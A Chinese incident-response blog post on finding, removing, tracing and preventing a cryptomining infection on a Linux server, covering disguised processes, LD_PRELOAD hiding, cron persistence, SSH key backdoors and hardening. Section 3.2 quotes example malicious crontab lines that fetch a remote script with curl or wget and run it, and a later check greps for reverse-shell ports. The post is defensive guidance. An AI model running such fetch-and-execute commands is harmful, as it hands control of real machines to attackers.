☰
服务器CPU异常排查:挖矿病毒发现、清除到溯源加固完整流程
2026/10/21 6:00:17 网站建设 项目流程

凌晨两点四十,手机告警把我叫醒的时候,我其实已经隐约有了预感——这个月第二次了,又一台服务器CPU拉满,业务没上线、没促销、没爬虫,负载却飙到二十多。登录上去看了一眼top,好家伙,满屏都是长得像系统进程的怪名字。这不是普通的偶发故障,是挖矿病毒捣乱。这篇就把我完整的发现、确认、清除、溯源、加固流程写下来,希望能帮同样半夜被叫醒的运维朋友省点事。

先说结论:挖矿病毒现在已经是服务器被入侵后最常见的“收尾动作”,它不勒索、不声张,而是悄无声息地占满你的CPU、吃掉带宽,把机器的算力拿去挖数字货币。整个过程里最麻烦的不是杀掉它,而是找到它藏身的入口、堵住重启和复活机制。下面我把每一步的操作、命令、判断依据和踩过的坑都拆开讲。

1. 事件起点:一条CPU告警背后的异常信号

1.1 深夜告警:业务没涨,CPU却爆了

这次出问题的是一台跑内部系统的Linux服务器,配置是16核 32G,平时CPU使用率稳定在20%以下。告警显示CPU使用率连续15分钟超过95%,负载平均值超过20。我第一反应是去看监控面板上的业务并发量,结果曲线和数据正常得很,再翻业务日志,没有任何异常请求。这就奇怪了——机器负载和业务曲线完全对不上,十有八九是被人塞了私货。

登录过程也卡,SSH连接建立后敲命令有明显延迟,top第一次打开都要等两三秒。进去之后看到的画面很有代表性:

  • 若干个进程名看起来像是kworkerds、crond、systemd-timesyncd的系统进程,CPU占用率直接顶到100%;
  • 进程数量比平时多出一截,而且都是同一种风格的名字;
  • uptime显示的负载(load average)1分钟、5分钟、15分钟一路走高;
  • 机器温度升高,风扇声音明显。

这里给新同学提个醒:kworker确实Linux内核线程,正常的kworker不会一个占满一核;但kworkerds多了一个d,还常驻在高CPU列表里,十有八九是冒名顶替的家伙。挖矿木马特别喜欢把自己伪装成系统进程的名字,乍一看“很官方”,其实就是欺负你不会逐个去对进程真身。

1.2 异常网络行为:除了CPU,带宽和连接也在报警

光看CPU还不足以判断是什么问题。挖矿病毒有个绕不开的特点:它要和外部的矿池服务器通信,持续提交算力结果、拉取任务。所以网络层面的异常几乎是必修课。

我顺手查了网卡流量和使用情况:

  • 出口带宽比平时高了好几个数量级,对一个内部系统来说极不正常;
  • ss -antp看到了大量对境外IP的TCP连接,状态大多为ESTABLISHED,端口集中在常见矿池端口上;
  • 一部分连接是高频短连接,隔几秒就新建一次,很明显是程序在持续向远端“汇报”。

拿到这些线索,基本已经可以认定不是普通的资源占用问题,而是有外部程序在利用服务器做挖矿。这个时候第一步不是急着杀进程,而是先做记录,因为后续溯源要依赖这些现场信息。我建议你在处理前至少保存四样东西:

  • ps aux或ps -ef的完整输出;
  • ss -antp或netstat -antp的网络连接列表;
  • crontab -l的内容;
  • top或htop的截图/输出。

这些资料不需要多规整,关键是留个“案底”。后面如果你需要复盘病毒是怎么进来的、文件是从哪下载的,这些输出就是最原始的证据。如果你手头有云控制台的“快照”功能,也可以先在确认业务可以接受短暂回滚的前提下打一个快照,给自己留条后路——但快照只是兜底,排查还是要做的。

2. 病毒确认:从伪装进程到木马真身

2.1 顺着进程PID找出真实路径

确认一个可疑进程,最高效的办法不是猜名字,而是去读/proc里的真实信息。Linux下每个进程都在/proc/<PID>下有自己的目录,里面记录了启动命令、环境变量、可执行文件路径、打开的文件和网络连接。这一步基本能扒掉九成伪装。

以那个叫kworkerds的进程为例,我做了这样几步:

# 先拿到进程PID pgrep -f kworkerds # 查看进程的真实启动命令 cat /proc/<PID>/cmdline # 查看可执行文件指向哪里 ls -l /proc/<PID>/exe # 看进程打开了哪些文件 lsof -p <PID>

cmdline输出直接暴露了原型:程序是从/tmp/.X11-unix/目录下启动的,启动参数里带了--config=config.json之类的选项,这是很典型的挖矿程序启动方式。再看/proc/<PID>/exe,链接指向的文件已经标记为deleted——意思是程序被启动后,二进制文件自己删除了,以降低被静态查杀的命中率。

这种“运行后自删”的手法我见过太多次,它给清理带来的障碍有两层:

  1. 你不能直接从进程反查文件,因为文件已经不存在了;
  2. 如果你只杀进程不处理它的“下载器”和“定时任务”,它过几分钟又能从远端拉一个副本回来。

所以千万不要觉得“找到了进程名,杀掉就完事”了。真正的排查逻辑是:进程只是一棵树的叶子,你要顺着树干找根——下载器在哪、计划任务在哪、守护进程在哪。

2.2 挖矿木马的常见藏匿手法

根据这次现场和我过往处理的样本,挖矿病毒在Linux服务器上的藏身套路高度相似,基本踩中这几点:

  • 文件位置:藏在系统不那么容易被人翻的目录,比如/tmp、/var/tmp、/dev/shm、/var/tmp/...,文件名也尽量普通,有的干脆用隐藏目录;
  • 计划任务:通过crontab设置高频任务,每3到5分钟执行一次脚本,脚本内容通常是下载并执行远端恶意程序;
  • SSH后门:往~/.ssh/authorized_keys里写入攻击者的公钥,之后可以从任意设备直接免密登录;
  • LD_PRELOAD注入:修改/etc/ld.so.preload,让系统所有进程在启动时加载一个恶意SO库,这个库可以做“现实扭曲”——让top、ps输出里看不到挖矿进程,让ls看不到恶意文件;
  • systemd服务:在/etc/systemd/system/下放置以正常名字命名的服务单元,开机自启。

这次的情况属于其中两种叠加:crontab定时任务负责复活,/etc/ld.so.preload负责隐藏。这就不难解释为什么巡检时没早发现——监控采数进程看到的CPU数据是真实的,但人工登录top却可能看不到挖矿进程。

判断是否中了LD_PRELOAD之类的注入,有两个快速检查点:

# 查看系统预加载库,正常情况这里应该是空的或者只有系统自带库 cat /etc/ld.so.preload # 使用绝对路径的top/ps,避免被环境变量劫持 /bin/ps aux /bin/top

如果/etc/ld.so.preload里出现了一个不在系统默认目录的.so文件,基本可以确定是被劫持了。这种情况下,你不能只看top了,需要用/bin/ps、/bin/ls这种全路径命令,或者临时把 LD_PRELOAD 环境变量清掉。

2.3 动手前先留好样本和证据

很多人一上来就kill,结果把样本弄没了,后面想分析矿池地址、想追踪入侵入口都无从下手。我建议不要急着清理,先做一次“样本保全”:

  1. 确认恶意程序还在磁盘上的(就是没自删的那种),直接在/tmp找到一个可疑文件,用md5sum或sha256sum计算哈希,再复制一份到隔离目录;
  2. 把恶意脚本的完整内容保存下来,脚本里往往带着下载URL、矿池地址和钱包地址,这是最重要的线索;
  3. 如果现场环境允许,把样本丢到病毒分析平台上跑一遍,能拿到它的行为特征,比如连接了哪些IP、释放了哪些文件;
  4. 记录当前时间点所有可疑进程的PID,方便后续交叉验证。

这里有一点要注意:保存样本的目录权限不要给太高,下载到本地的样本文件用压缩包带密码保存就行,不要在生产环境直接运行或解压分析。至于钱包地址、矿池地址这类线索,记录下来是用来做防御标记的,网络侧可以在防火墙上封掉这些地址,而不是用来做其他用途。

3. 动手清理:杀掉进程只是万里长征第一步

3.1 清理顺序不能乱:先隔离、再杀进程、最后删文件

清理挖矿病毒这件事,顺序错了会让工作量翻倍。我第一次处理时先杀进程,结果三分钟后进程又活了,后来又跑回去找定时任务,浪费了快一个小时。整理下来,正确的顺序是:

  1. 断网/封远程地址:如果确认了矿池IP或C2地址,优先在防火墙上把外联封死,阻止程序继续下载和通信;
  2. 锁定时任务:找出所有异常定时任务并备份记录,但可以先不用急着删,留着做分析;
  3. 杀进程:用kill -9强杀,或者更稳妥一点先发送SIGSTOP让进程挂起,观察几分钟确认没有自动拉起,再发送SIGKILL;
  4. 删文件:清理磁盘上的恶意脚本、二进制文件、SO库;
  5. 清后门:检查authorized_keys、/etc/ld.so.preload、系统服务等持久化点。

封矿池地址的操作,如果服务器有iptables防火墙,可以这样把外联封掉:

# 封禁单个IP iptables -A OUTPUT -d <恶意IP> -j DROP # 封禁一批矿池地址(示例) iptables -A OUTPUT -d 11.22.33.44 -j DROP

如果机器在云端,安全组出方向也可以临时加一条拒绝规则。目的不是彻底断掉所有外网(服务器通常还需要对外服务),而是把已知的恶意地址阻断掉,让病毒失去指挥和运输通道。

3.2 计划任务与自启动项:病毒“复活”机制的核心

挖矿病毒能在被清理后快速复活,绝大多数靠的是定时任务。Linux的计划任务分布比较分散,我习惯一次性把这几处全查一遍:

# 当前用户的crontab crontab -l # root的crontab cat /var/spool/cron/root # 系统级crontab cat /etc/crontab ls /etc/cron.d/ # 每小时/每日/每周/每月的cron目录 ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly # 系统服务,尤其看最近新增的 systemctl list-units --type=service --state=running | grep -E 'tmp|update|mysql|systemd-'

典型恶意定时任务长这样:

*/3 * * * * /usr/bin/curl -fsSL http://xxx.xxx.xxx/1.sh | bash */5 * * * * cd /tmp && wget -q http://xxx.xxx.xxx/a && chmod +x a && ./a

这种写法很常见:每三分钟拉一次脚本,然后用bash直接执行。脚本内容通常是先下载挖矿主程序,再把它拉起来,并顺便把自己写回crontab。所以你删了文件不删定时任务,等于留了个“自动恢复开关”。

清理的时候我是直接crontab -r清空root的cron,再手动把/etc/cron.d/下的恶意文件删掉。但要注意,有些变种会自动往多个用户目录写cron,比如/var/spool/cron/crontabs/下每个用户都可能被写入,建议全盘检查一遍,用grep去搜所有cron文件内容里的可疑URL或矿壳关键字。

3.3 顽固样本:文件删不掉、进程杀了又回来

挖矿木马的顽固程度取决于它的“自我保护层”。这次遇到的情况是恶意文件在/tmp/.X11-unix和/var/tmp/...下,我用ls都看不到这两个目录,后来发现是LD_PRELOAD劫持了系统调用。清理方式如下:

  1. 删除或清空/etc/ld.so.preload里的恶意SO路径;
  2. 找到恶意SO文件本体并删除;
  3. 把/bin/ps、/bin/ls、/bin/netstat这些被“劫持”过的命令恢复——通常删掉SO库后自动恢复正常,但如果系统命令本身被替换过,就需要从发行版的安装源重新安装相应软件包来覆盖损坏文件。

还有一种常见情况:恶意文件被设置了不可删除属性。Linux下有个chattr命令,可以对文件设置属性,设置了+i(不可变)后,就算你是root也不能直接删除。检查方法:

# 查看文件的属性标志 lsattr /tmp/xxx # 如果是i属性,需要先去掉再删 chattr -i /tmp/xxx rm -f /tmp/xxx

如果系统里存在rootkit级木马,可能连lsattr的显示都被篡改,那就需要更强的排查手段,或者直接把受影响主机下线,备份数据后重装系统。重装是最后手段,但在“一台机器被打了重度rootkit”和“业务连续性”之间选,很多时候重装更省时省心。

这里有个很容易被忽略的点:清理完要走一遍“复活验证”。清理完半小时内,每隔几分钟看一次CPU、进程数、crontab内容,确认没有自拉起的迹象。如果一切正常,再启动业务、恢复对外服务。不要侥幸,挖矿木马背后是自动化工具在运作,稍微漏一个入口,十几分钟后又是一条好汉。

4. 追根溯源:挖矿病毒到底从哪个门进来的

4.1 从日志中还原入侵路径

清理干净只是第一步,如果不找到入口,下次还会被别的变种打入。最直接的线索来源是系统日志。Linux的登录日志地址根据发行版不同略有区别,主流的是/var/log/auth.log(Debian系)和/var/log/secure(RedHat系)。

我这次先看了登录日志,发现里面有一大堆Failed password记录,时间从两周前就开始了,地址来自多个公网IP,在持续做密码爆破。随后在其中某条记录附近,发现一条Accepted publickey for root的日志。这就是关键线索——对方已经成功通过公钥登录进来了,也就是说,早先某次爆破或通过其他漏洞拿到权限后,攻击者往authorized_keys里写入了自己的公钥。

检查SSH后门的方法很直接:

# 查看root和所有用户的authorized_keys文件 cat /root/.ssh/authorized_keys cat /home/*/.ssh/authorized_keys # 对比公钥文件修改时间 ls -l /root/.ssh/

如果你发现一个公钥出现在你不认识的位置,就是后门没跑了。注意不要只看root的,很多攻击者也会尝试写低权限用户,然后利用sudo提权。

4.2 其他典型入口:Redis、Web漏洞、弱口令

挖矿病毒攻进服务器的常见路径,我按“中招频率”排个序:

  • SSH暴力破解:最常见的入口,密码简单的机器基本上等于裸奔;
  • Redis未授权访问:redis服务监听在公网又没有密码,攻击者用一条命令就能往crontab中写入反弹命令;
  • Web应用漏洞:某些开源框架的RCE漏洞,攻击者直接通过HTTP请求执行系统命令;
  • Docker API暴露:Docker端口暴露到公网,攻击者直接调用API创建容器来跑挖矿;
  • 数据库弱口令:MySQL、MongoDB等数据库对外服务并且口令简单。

每一种入口的应对方式不同,但思路是统一的:把服务暴露面缩小,不必要的不对公网开放,必须开放的要加访问控制。

这次案例属于“SSH弱口令爆破+公钥写入”的典型。弱点非常明确,修复方向也就清晰了:禁止密码登录、更换密钥、限制来源IP。如果入口是Redis,那就要设置requirepass、禁用危险命令、修改默认端口,最重要的还是不要让Redis监听在公网接口上。

4.3 检查内网其他机器:横向扩散别漏掉

挖矿病毒接管一台机器后,经常会尝试在局域网内继续扩展,扫描内网其他机器的SSH、Redis、数据库等端口,用同样的方式批量攻陷。如果只清理了第一台,第二天第二台、第三台还会接二连三报警。

排查时可以从这台被攻陷机器上寻找横向扩散的痕迹:

  • 检查历史命令:history里是否有扫描内网的操作;
  • 检查是否有异常反向Shell连接,ss -antp | grep -E ':4444|:5555|:6666'这类非常见端口可能值得看一眼;
  • 看ARP表、看是否有大量连接内网其他主机的记录;
  • 检查内网其他服务器的日志,看有没有来自这台机器的可疑登录。

一旦确认存在横向扩散,就要把一整段网络都纳入排查范围,而不是只盯着单台机器。这种场景下,与其一台台手工清,不如做好在线备份后分批重装受影响系统,再用安全的配置模板重新部署。横向扩散的最好应对,不是等它爬满再清理,而是从网络层就隔断。

5. 加固实践:把门锁好,别让同一个剧本演第二遍

5.1 账号与认证:SSH是重灾区

清理完的后半场工作,是让服务器不再轻易被攻破。优先处理最暴露的部分:SSH认证方式。

我这次直接在配置里关闭了root密码登录,改用密钥登录,并限制只有特定IP才能访问SSH端口:

# /etc/ssh/sshd_config 关键配置 PermitRootLogin prohibit-password PasswordAuthentication no PubkeyAuthentication yes

改完记得重启SSH服务前,先另开一个连接验证密钥能正常登录,不然把自己锁在门外就尴尬了。有条件的话,在云安全组或防火墙层加一条“只允许办公网IP访问22端口”的规则,效果比单纯改配置好得多。

还应顺手处理掉之前爆破痕迹里的隐患:把所有账号的统一密码改成高强度随机密码,检查有没有多出来的系统账号,删除那些不用的用户。

5.2 网络与系统层:尽量缩小暴露面

挖矿病毒能进来,是因为有某个口子没堵上。在系统层面我的习惯做法是:

  • 防火墙默认丢弃(DROP),只放行必要端口;
  • 非生产环境尽量不暴露公网,生产环境暴露面尽可能收敛;
  • 定期安装系统安全补丁,内核、OpenSSH、glibc这类核心组件优先;
  • 启用SELinux或AppArmor,即使一开始配置麻烦,也比裸奔强;
  • 重要目录和文件可以用auditd/inotify做文件完整性监控,一旦/etc/crontab或/root/.ssh/authorized_keys被改就能收到告警;
  • 针对暴力破解可以部署类似fail2ban的工具,能自动封禁多次登录失败的IP。

如果你发现攻击者是通过Java应用漏洞进来的,那就需要单独列应用层加固清单,比如升级框架版本、收敛上传接口、关闭不需要的中间件管理端口。这个得看具体业务落点,没法一概而论。

5.3 监控与告警:养成立刻发现的能力

大部分挖矿中招,如果不是业务卡顿到影响用户,可能很久都没人发现。所以监控告警的价值不是事后追责,而是把“损失窗口”压到最小。我自己的做法是:

  • 部署agent采集CPU、内存、磁盘、网络流量、TCP连接数;
  • 为每台服务器配置CPU使用率、连接数、外联连接数阈值,超过就告警;
  • 对关键系统文件做哈希记录,定时比对,变化就告警;
  • 定期做安全巡检,主动扫描未授权的高危端口和弱口令。

监控告警设置完,别忘了测试一次。没验证过的告警就是废的,真正出事的时候可能因为配置错误根本发不出来。

6. 常见问题速查表与避坑实录

6.1 快速定位:看到现象直接对号入座

现象可能原因排查方向
CPU飙升但业务无热点挖矿程序占用top/htop查看高CPU进程,/proc/<PID>确认
出口带宽被莫名占满挖矿程序连接矿池ss -antp找外联IP,封禁矿池地址
进程杀掉后又自动出来cron或systemd定时拉取全量检查 crontab、/etc/cron.d/、systemd服务
top看不到可疑进程但CPU高LD_PRELOAD注入检查 /etc/ld.so.preload 和可疑SO文件
文件删除时报Operation not permittedchattr +i 锁定lsattr查看,chattr -i去掉锁再删除
SSH登录日志有大量Failed password暴力破解禁止密码登录、部署fail2ban、限制来源IP
authorized_keys里多出陌生公钥SSH后门删除陌生公钥,重设所有账号口令

6.2 实战避坑:这几条是我拿时间换来的

  1. 只杀进程不删计划任务,等于白干。我在早期处理时,杀完进程觉得完事了,第二天接到告警发现又回来了。后来才明白,crontab里的拉取脚本才是源头,不把它删掉,病毒就是杀不尽的。

  2. 不要在一开始就把日志和文件删光。取证意识薄弱会造成很多麻烦,等你想知道攻击者用什么方式进来时,可能只剩下一堆空白记录。做任何清理前,先把现场信息备份到安全位置。

  3. 重置密码要彻底。SSH密码、数据库密码、应用账号密码、Redis口令、服务器厂商平台密码,都要一次性换新。只改root而忽略低权限账号,等于给攻击者留了一扇侧门。

  4. 网络隔离永远是最快的止血方式。如果业务允许短暂中断,发现挖矿后先把机器从公网断开,在网络层面切断指令通道,后面清理的风险和难度都会下降一个档次。

  5. 评估重启代替修复的边界。如果检测到rootkit级别污染,或者多个系统命令都被替换,别犹豫,备份数据重装系统是更高效的选择。手工修复一个被打烂的系统,投入产出比太低。

我个人在多次处理这类事件后最大的体会是:挖矿病毒很少是最开始的入侵方式,它更像是“你已经被攻破”的结果告诉你的方式。一次清完不算结束,花时间把入口补上、把监控做起来,才算是把这件事彻底画上句号。希望这篇记录对你的排查思路有帮助,也欢迎在评论区聊聊你自己遇到过的奇葩变种和一些反常规的藏匿手法。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询